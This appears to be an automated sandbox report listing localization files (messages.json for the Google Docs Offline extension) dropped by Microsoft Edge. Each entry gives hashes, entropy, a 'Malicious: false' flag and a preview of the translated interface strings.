SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

